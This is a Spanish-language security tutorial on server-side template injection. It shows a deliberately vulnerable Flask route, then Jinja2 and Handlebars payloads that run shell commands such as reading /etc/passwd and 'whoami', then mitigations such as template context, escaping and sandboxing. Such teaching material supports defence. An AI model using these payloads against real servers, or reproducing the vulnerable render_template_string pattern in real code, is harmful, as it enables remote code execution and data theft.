Avanzado
CVSS 8.8 - Alto
24 min

Server-Side Template Injection

Inyección de código en motores de plantillas del servidor

¿Qué es SSTI?

SSTI ocurre cuando input del usuario se inserta en plantillas del lado del servidor (Jinja2, Handlebars, etc) permitiendo ejecución de código arbitrario.

Ejemplo Vulnerable (Jinja2)

# Python/Flask - VULNERABLE
from flask import Flask, request, render_template_string

@app.route('/hello')
def hello():
    name = request.args.get('name', 'World')
    # ❌ PELIGROSO: renderizar input del usuario directamente
    template = f"<h1>Hello {name}!</h1>"
    return render_template_string(template)

# Ataque:
# /hello?name={{7*7}}  → devuelve 49 (confirma SSTI)
# /hello?name={{config}}  → leak configuración
# /hello?name={{''.__class__.__mro__[1].__subclasses__()}}  → RCE

Payloads por Motor

Jinja2 (Python)

{{7*7}}
{{config}}
{{self.__init__.__globals__}}
{{''.__class__.__mro__[1].__subclasses__()[396]('cat /etc/passwd',shell=True,stdout=-1).communicate()}}

Handlebars (Node.js)

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Mitigación

// ✅ NUNCA renderizar input del usuario como plantilla
// Mal:
return render_template_string(f"<h1>Hello {name}!</h1>")

// Bien: usar contexto
return render_template('hello.html', name=name)

<!-- hello.html -->
<h1>Hello {{ name }}!</h1>  <!-- Jinja2 escapa automáticamente -->

// ✅ Sanitizar si es necesario
from markupsafe import escape
safe_name = escape(name)

// ✅ Usar sandboxing
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()